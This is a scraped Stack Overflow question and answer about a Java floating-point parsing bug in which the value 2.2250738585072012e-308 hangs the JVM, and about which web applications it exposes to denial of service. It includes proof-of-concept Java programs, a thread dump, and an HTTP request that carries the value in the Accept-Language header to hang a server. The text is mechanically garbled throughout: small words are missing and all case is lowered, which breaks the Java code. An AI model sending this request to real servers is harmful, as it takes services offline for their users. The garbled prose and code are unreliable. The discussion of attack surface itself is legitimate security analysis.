java - Which kind of webapps can realistically be affected by the floating bug? -


there's easy way totally lock lot of jvm:

class runhang { public static void main(string[] args) {   system.out.println("test:");   double d = double.parsedouble("2.2250738585072012e-308");   system.out.println("value: " + d);  } } 

or, hang compiler:

class compilehang { public static void main(string[] args) {   double d = 2.2250738585072012e-308;   system.out.println("value: " + d);  } } 

as explained here: http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

my question simple: kind of well-conceived web application know can realistically affected this?

in other words: on kind of webapps attacker perform denial of service using known weakness?

it bad, terribly bad. besides programmers using floating-point monetary computation don't see many java-backed websites can crashed.

i can see toy scientific applets being candidates besides that...

here's threadump of blocked thread (done using "kill -3" on linux):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]         @ sun.misc.fdbigint.mult(floatingdecimal.java:2617)         @ sun.misc.floatingdecimal.multpow52(floatingdecimal.java:158)         @ sun.misc.floatingdecimal.doublevalue(floatingdecimal.java:1510)         @ java.lang.double.parsedouble(double.java:482) 

edit

jvms locked here:

java version "1.5.0_10" java(tm) 2 runtime environment, standard edition (build 1.5.0_10-b03) java hotspot(tm) server vm (build 1.5.0_10-b03, mixed mode)

java version "1.6.0_17" java(tm) se runtime environment (build 1.6.0_17-b04) java hotspot(tm) server vm (build 14.3-b01, mixed mode)

many web servers parse part of http headers using double.parse, dealing infrastructure here (in addition problems applications run in container). comments of exploring binary blog link have following example:

get / http/1.1 host: myhost connection: keep-alive accept-language: en-us;q=2.2250738585072012e-308 

if servlet request going against makes call of localization apis (which attempt parse language header), above bring server down.

so yes, big problem. attack surface quite large, , consequences quite high.


Comments

Popular posts from this blog

python - Scipy curvefit RuntimeError:Optimal parameters not found: Number of calls to function has reached maxfev = 1000 -

c# - How to add a new treeview at the selected node? -

java - netbeans "Please wait - classpath scanning in progress..." -